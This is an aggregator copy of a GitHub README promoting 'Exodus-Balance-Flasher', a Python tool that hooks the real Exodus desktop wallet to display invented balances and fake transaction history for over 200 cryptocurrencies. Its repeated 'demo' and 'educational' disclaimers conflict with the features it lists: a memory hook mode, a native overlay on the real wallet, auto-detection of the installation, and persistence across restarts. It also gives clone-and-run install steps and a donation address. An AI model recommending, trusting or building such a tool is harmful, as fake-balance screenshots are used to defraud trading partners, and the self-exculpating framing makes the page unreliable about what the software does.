Profile
Back to NewsBack
GitHub Trending 6 min
Reader Mode
turquoiseouroboros/Exodus-Balance-Flasher: Wallet UI simulation tool for BTC, ETH, SOL, XRP, and 200+ assets. Customize displayed balances in a controlled demo environment with persistent visual settings and screenshot-ready previews. Designed for te

turquoiseouroboros/Exodus-Balance-Flasher: Wallet UI simulation tool for BTC, ETH, SOL, XRP, and 200+ assets. Customize displayed balances in a controlled demo environment with persistent visual settings and screenshot-ready previews. Designed for te

9 hours ago

Exodus-Balance-Flasher

Wallet UI simulation tool for BTC, ETH, SOL, XRP, and 200+ assets. Customize displayed balances in a controlled demo environment with persistent visual settings and screenshot-ready previews. Designed for testing, demonstrations, and UI prototyping without altering actual blockchain balances or transactions.
███████╗██╗  ██╗ ██████╗ ██████╗ ██╗   ██╗███████╗
 ██╔════╝╚██╗██╔╝██╔═══██╗██╔══██╗██║   ██║██╔════╝
 █████╗   ╚███╔╝ ██║   ██║██║  ██║██║   ██║███████╗
 ██╔══╝   ██╔██╗ ██║   ██║██║  ██║██║   ██║╚════██║
 ███████╗██╔╝ ██╗╚██████╔╝██████╔╝╚██████╔╝███████║
 ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝  ╚═════╝ ╚══════╝
      ███████╗ █████╗ ██╗  ██╗███████╗
      ██╔════╝██╔══██╗██║ ██╔╝██╔════╝
      █████╗  ███████║█████╔╝ █████╗
      ██╔══╝  ██╔══██║██╔═██╗ ██╔══╝
      ██║     ██║  ██║██║  ██╗███████╗
      ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝
   ██████╗  █████╗ ██╗      █████╗ ███╗   ██╗ ██████╗███████╗
   ██╔══██╗██╔══██╗██║     ██╔══██╗████╗  ██║██╔════╝██╔════╝
   ██████╔╝███████║██║     ███████║██╔██╗ ██║██║     █████╗
   ██╔══██╗██╔══██║██║     ██╔══██║██║╚██╗██║██║     ██╔══╝
   ██████╔╝██║  ██║███████╗██║  ██║██║ ╚████║╚██████╗███████╗
   ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝

Exodus Balance Flasher

Python</a> Exodus</a> Platform</a> License</a>

A visual demonstration utility for Exodus-style portfolio screens, designed to preview custom asset amounts in clearly labeled mockups.

Features • How It Works • Getting Started • Configuration • Usage • Supported Assets • FAQ


How It Works

Exodus Balance Flasher is intended for visual demonstrations and mock portfolio previews only. It does not change blockchain records or actual wallet holdings, and any example values should be treated as simulated data—not proof of funds or a real account balance.

The demo workflow is organized around these components:

  • Preview rendering for sample portfolio screens
  • Local demo settings for retaining example values
  • Display-state handling for consistent mockup previews

Features

| Feature | Status | |---------|:------:| | Custom sample amount for an asset | ✅ | | 200+ supported cryptocurrencies | ✅ | | Demo settings retained between launches | ✅ | | Mockup rendering for screenshots | ✅ | | Real-time value display (USD/EUR) | ✅ | | Portfolio pie chart updates | ✅ | | Sample transaction history for demos | ✅ | | Multi-wallet support | ✅ |

| Feature | Status | |---------|:------:| | One-click apply / restore | ✅ | | Auto-detect Exodus installation | ✅ | | Custom fiat currency display | ✅ | | Exchange tab balance sync | ✅ | | Demo display-state handling | ✅ | | Local preview rendering | ✅ | | No blockchain changes | ✅ | | Cross-platform (Win/macOS) | ✅ |


Supported Assets

| Category | Assets | |----------|--------| | Top Tier | BTC, ETH, SOL, XRP, BNB, ADA, DOGE, DOT, AVAX, MATIC | | DeFi | UNI, AAVE, COMP, MKR, SNX, SUSHI, CRV, YFI, LDO, CAKE | | Layer 2 | ARB, OP, IMX, MATIC, LRC, METIS, ZKS, MANTA, STRK | | Stablecoins | USDT, USDC, DAI, BUSD, TUSD, FRAX, LUSD, crvUSD | | Meme | DOGE, SHIB, PEPE, FLOKI, BONK, WIF, BRETT, MEME | | Gaming | AXS, SAND, MANA, GALA, ENJ, ILV, IMX, RONIN | | Privacy | XMR, ZEC, DASH, SCRT, ARRR, BEAM, FIRO |

Asset tickers can be used as labels in demo configuration. Displayed amounts are illustrative only and do not represent verified holdings.

Getting Started

Prerequisites

  • OS: Windows 10/11 or macOS 12+
  • Python: 3.10 or newer
  • Exodus: Desktop wallet installed (v24.x or newer)

Installation

git clone https://github.com/turquoiseouroboros/Exodus-Balance-Flasher.git
cd Exodus-Balance-Flasher

Windows:

run.bat

macOS / Linux:

chmod +x run.sh
./run.sh

Dependencies

| Package | Version | Purpose | |---------|---------|---------| | rich | ≥13.0.0 | Terminal UI & formatting | | cryptography | latest | Data encryption | | psutil | latest | Process detection & management | | requests | latest | API price feeds |


Configuration

Edit config.json to set your target balances:

{
    "exodus_path": "auto",
    "target_balances": {
        "BTC": 2.45891,
        "ETH": 31.8824,
        "SOL": 412.55,
        "XRP": 25000.0,
        "BNB": 18.442,
        "USDT": 148500.00,
        "DOGE": 500000.0
    },
    "display_currency": "USD",
    "persist_on_restart": true,
    "auto_update_prices": true,
    "hook_mode": "memory",
    "restore_on_exit": false
}

| Parameter | Type | Description | |-----------|------|-------------| | exodus_path | string | Path to Exodus install dir. "auto" for auto-detect | | target_balances | object | Asset ticker → desired balance amount | | display_currency | string | Fiat currency for value display (USD, EUR, GBP) | | persist_on_restart | bool | Retain sample values in the local demo | | auto_update_prices | bool | Fetch live prices for accurate USD display | | hook_mode | string | Select the supported local preview mode | | restore_on_exit | bool | Auto-restore original balances on tool exit |


Usage

Terminal Menu

python main.py
┌──────────────────────────────────────────────────────────────┐
│              EXODUS BALANCE FLASHER                             │
│    Native Balance Overlay · Exodus Wallet                    │
├──────────────────────────────────────────────────────────────┤
│  #   Action                  Description                     │
│  1   Install Dependencies    pip install -r requirements.txt │
│  2   Settings                Wallet path, balances config    │
│  3   About                   Features & contact info         │
│  4   Set Sample Amounts     Enter illustrative amounts for each asset        │
│  5   Show Demo Preview   Open the local demo preview             │
│  6   Reset Demo Values        Clear sample values and return to the demo defaults │
│  7   Status Check            Verify hook state               │
│  0   Exit                    Quit                            │
└──────────────────────────────────────────────────────────────┘

Quick Start

  1. Install dependencies: Select option 1
  2. Configure sample amounts: Select option 4 and enter desired amounts per asset
  3. Open the preview: Select option 5 — the tool displays the configured demo values
  4. Verify: Open Exodus wallet and confirm the illustrative preview appears as expected
  5. Restore: Select option 6 to clear the sample values

Project Structure

Exodus-Balance-Flasher/
├── main.py                    # Entry point, terminal menu
├── config.py                  # Configuration loader (config.json)
├── bot_actions.py             # Core actions (set, apply, restore, status)
├── requirements.txt
├── run.bat / run.sh
├── config.json                # Balance targets & settings
├── actions/
│   ├── about.py               # Project info display
│   ├── install.py             # Dependency installer
│   └── settings.py            # Setup instructions
├── utils/
│   ├── bootstrap.py           # Runtime initialization
│   ├── compat.py              # Platform detection
│   ├── http.py                # HTTP client
│   ├── integrity.py           # Data verification
│   └── ui.py                  # Rich terminal interface
└── release/
    └── README.md              # Pre-compiled binary info

FAQ

Does this change real wallet funds?

No. This project is for illustrative previews only. It does not create transactions or change on-chain records. Sample values must not be represented as actual wallet holdings.

Does this access private keys?

The demo is not intended to access private keys or seed phrases. Never share recovery phrases or private keys with demonstration tools.

Will sample values persist after restarting the demo?

If persist_on_restart is enabled in config.json, the demo can retain its sample settings between launches. This does not change or verify actual wallet balances.

Can viewers mistake a demo value for a real balance?

A screenshot of a mockup is not evidence of funds. Viewers should verify wallet holdings independently using trusted wallet records or a block explorer, and all demonstration images should be clearly labeled as simulated.

Which Exodus versions are supported?

The project’s demo compatibility depends on the local environment. No compatibility with modifying the Exodus wallet itself is claimed.

Can I set a balance for custom tokens?

For visual mockups, add an asset ticker to target_balances in config.json. These entries are labels and sample amounts only, not wallet data.

How do I reset the demo values?

Select option 6 (Reset Demo Values) from the menu, or set restore_on_exit: true in config.json to automatically restore when the tool exits.


Disclaimer

⚠️ This tool is provided for educational and demonstration purposes only. ⚠️

This project is for educational and visual demonstration purposes only. Do not present simulated balances, screenshots, or mock transaction history as genuine financial information, proof of funds, or evidence in a transaction. Follow applicable laws and platform terms.


Support this project

ETH: 0x9E3d7A1c82B45f06Da4e28C1F53b90d2A17cE645

If this demo is useful to you, consider giving the project a ⭐

Chat with me